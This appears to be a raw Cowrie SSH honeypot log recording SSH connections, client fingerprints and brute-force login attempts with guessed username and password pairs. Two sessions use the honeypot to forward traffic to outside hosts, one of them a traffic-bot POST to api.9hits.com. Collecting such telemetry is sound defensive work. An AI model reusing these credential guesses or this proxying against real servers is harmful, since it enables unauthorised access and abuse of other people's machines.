{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:13.064195Z","src_ip":"2.99.213.222","session":"6cfb53cffb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:13.452221Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#","message":"login attempt [root/admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:13.518106Z","src_ip":"2.99.213.222","session":"6cfb53cffb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:14.619406Z","src_ip":"2.99.213.222","session":"6cfb53cffb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":39138,"dst_ip":"159.203.135.109","dst_port":22,"session":"83bdba12fcc9","protocol":"ssh","message":"New connection: 182.93.50.90:39138 (159.203.135.109:22) [session: 83bdba12fcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:17.234219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:17.237947Z","src_ip":"182.93.50.90","session":"83bdba12fcc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:17.452847Z","src_ip":"182.93.50.90","session":"83bdba12fcc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":65141,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ee7d72abf5","protocol":"ssh","message":"New connection: 113.164.152.20:65141 (10.17.0.5:22) [session: 32ee7d72abf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:17.833662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:17.837908Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:18.136854Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test2025","message":"login attempt [test/Test2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:18.363778Z","src_ip":"182.93.50.90","session":"83bdba12fcc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":64387,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d5aa552f1c1","protocol":"ssh","message":"New connection: 123.27.168.40:64387 (10.17.0.5:22) [session: 9d5aa552f1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:18.659785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:18.664347Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:18.930920Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:19.349378Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:19.582642Z","src_ip":"182.93.50.90","session":"83bdba12fcc9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:19.869756Z","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:20.064993Z","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:20.071772Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:20.485830Z","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:20.576007Z","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.059954Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; V1965A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SkxqY2ZTaClSdkwjTzFiZA%3D%3DAhaLHMSJON%2BGSX%2FKlTH2UPZqMDLh1p93AQColQiNaVpusiPuzS%2ByZCXdzrYDJfDIr2tK3kKOwq6JFt6sl0YHVt%2FKbx%2BDNUMfGT5LFwr0V4KpYDwRH8yK%2BZ%2BP1d5ORNMRK5lUPxaCvHUgkrGU0LnSBbqct8uTFpKqb1LM%2F7Hf1%2F58KpEQ1duRXtP4huip1qnzY%2FEuvgOU1vYHLkLH%2FPpO9SF03mVJF02iEk9BoJVY60KZzxCLb6AGD%2FSpSaJ%2Fe8A2nC%2Fc3LgtYS%2BlIgo4NUAwQ%2B18DIrm3%2BHiEL0o%2FaOOIA%2FrVXuA04FFWYVLws%2BOCOgcvZepF8mRA3jgfj0LpsMit0Z1i3YvDZpi0t4NcEJSGA8UkDRlYncl3Ny8vtopn75pK9AM%2Bb7M3qDXx3r83hF7%2FyCX3XqGN6fI2SqJN9uxtAGmuJFd95AnmERpzmNwuX10Zsmw0LVFAWgcSST6zw%2BgolUbx1ptCOtz543x%2FH2lgIczLcDarEqaH4h7gkt3vacZjt3oYi3gGiSYMMdYit5yuVbJHhFXXKO%2FyavZQuD3BF4MsmfXVqwbh7NgHxiegJQR2eGWwXTzi%2Bpn4VewDmVHZVKz8X4h4eQ5vImv0SJ1t%2Fe8VFk33CnNhtSt9z5WyH2sBzgXdZwwmXMxoJh7rzcPjfovRsVamj9io0rk%2BMx4tHtiItfZ72rmsS84%2BiBSZFPwXhLBTSXBXRZ0yxvxxsUH2TiAUjnR09WxDOdnVp%2FoBol5SZK6p8UQE5B43Sgr1y%2BR6y8H2KljQTKlJsBI6cHLnI1BlbZxMw4%2F1IrDhS%2BTkgc9mGOhiIo%2B%2BgPVbEEa9lW%2B0kMz%2BZ92xuxXKCN5FyI%2ByjKQFpO0Pa%2Bf%2FaYzZEOq8VMaAfzpd68FO7fZedb93%2BdL0dZidg04Zy%2FkIlVPaV1DUrlNMe6SyKfpNLj5GZSNs2SaBSpXySBassYifGFGxwy14U3QreFKp9hJFBepdlj9GdnxLRPdKgnHsejwnyaZuMTvm50F3IAW4bkGqtvSPBno2af3lHzYMHfYbW%2BaSIZj3iwUvEYr%2Fvu%2BYOJSLCU2eXdeRMdDxwFD232BreqpLxKS'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; V1965A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SkxqY2ZTaClSdkwjTzFiZA%3D%3DAhaLHMSJON%2BGSX%2FKlTH2UPZqMDLh1p93AQColQiNaVpusiPuzS%2ByZCXdzrYDJfDIr2tK3kKOwq6JFt6sl0YHVt%2FKbx%2BDNUMfGT5LFwr0V4KpYDwRH8yK%2BZ%2BP1d5ORNMRK5lUPxaCvHUgkrGU0LnSBbqct8uTFpKqb1LM%2F7Hf1%2F58KpEQ1duRXtP4huip1qnzY%2FEuvgOU1vYHLkLH%2FPpO9SF03mVJF02iEk9BoJVY60KZzxCLb6AGD%2FSpSaJ%2Fe8A2nC%2Fc3LgtYS%2BlIgo4NUAwQ%2B18DIrm3%2BHiEL0o%2FaOOIA%2FrVXuA04FFWYVLws%2BOCOgcvZepF8mRA3jgfj0LpsMit0Z1i3YvDZpi0t4NcEJSGA8UkDRlYncl3Ny8vtopn75pK9AM%2Bb7M3qDXx3r83hF7%2FyCX3XqGN6fI2SqJN9uxtAGmuJFd95AnmERpzmNwuX10Zsmw0LVFAWgcSST6zw%2BgolUbx1ptCOtz543x%2FH2lgIczLcDarEqaH4h7gkt3vacZjt3oYi3gGiSYMMdYit5yuVbJHhFXXKO%2FyavZQuD3BF4MsmfXVqwbh7NgHxiegJQR2eGWwXTzi%2Bpn4VewDmVHZVKz8X4h4eQ5vImv0SJ1t%2Fe8VFk33CnNhtSt9z5WyH2sBzgXdZwwmXMxoJh7rzcPjfovRsVamj9io0rk%2BMx4tHtiItfZ72rmsS84%2BiBSZFPwXhLBTSXBXRZ0yxvxxsUH2TiAUjnR09WxDOdnVp%2FoBol5SZK6p8UQE5B43Sgr1y%2BR6y8H2KljQTKlJsBI6cHLnI1BlbZxMw4%2F1IrDhS%2BTkgc9mGOhiIo%2B%2BgPVbEEa9lW%2B0kMz%2BZ92xuxXKCN5FyI%2ByjKQFpO0Pa%2Bf%2FaYzZEOq8VMaAfzpd68FO7fZedb93%2BdL0dZidg04Zy%2FkIlVPaV1DUrlNMe6SyKfpNLj5GZSNs2SaBSpXySBassYifGFGxwy14U3QreFKp9hJFBepdlj9GdnxLRPdKgnHsejwnyaZuMTvm50F3IAW4bkGqtvSPBno2af3lHzYMHfYbW%2BaSIZj3iwUvEYr%2Fvu%2BYOJSLCU2eXdeRMdDxwFD232BreqpLxKS'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.063229Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.066320Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99!\\xb1\\xae\\xd9\\xbeN>.#WxW9\\xa0\\xf0.\\xbeo\\\\\\x1be\\xe7\\xb9 \\xde$\\x06\\xcf\\xf1\\xaf\\xbc \\xf7OS\\x16\\xc5y*\\x92\\xf6\\x1a@\\x81\\xaa.\\xd2#\\xa9\\xb2J4\\xb7\\x13\\xf2\\xcf\\xa5\\x94\\x1a<\\xbe\\xf7~w\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 =\\x07\\xa1Q\\x12\\xde\\xf0I\\xaf\\x83j\\x95\\x9a\\xb0\\x05\\x94\\xcdT\\xc8\\xc3\\x93\\x0f\\xde8q\\xcc\\x8d\\x8dPJ\\xcav\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99!\\xb1\\xae\\xd9\\xbeN>.#WxW9\\xa0\\xf0.\\xbeo\\\\\\x1be\\xe7\\xb9 \\xde$\\x06\\xcf\\xf1\\xaf\\xbc \\xf7OS\\x16\\xc5y*\\x92\\xf6\\x1a@\\x81\\xaa.\\xd2#\\xa9\\xb2J4\\xb7\\x13\\xf2\\xcf\\xa5\\x94\\x1a<\\xbe\\xf7~w\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 =\\x07\\xa1Q\\x12\\xde\\xf0I\\xaf\\x83j\\x95\\x9a\\xb0\\x05\\x94\\xcdT\\xc8\\xc3\\x93\\x0f\\xde8q\\xcc\\x8d\\x8dPJ\\xcav\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.068426Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
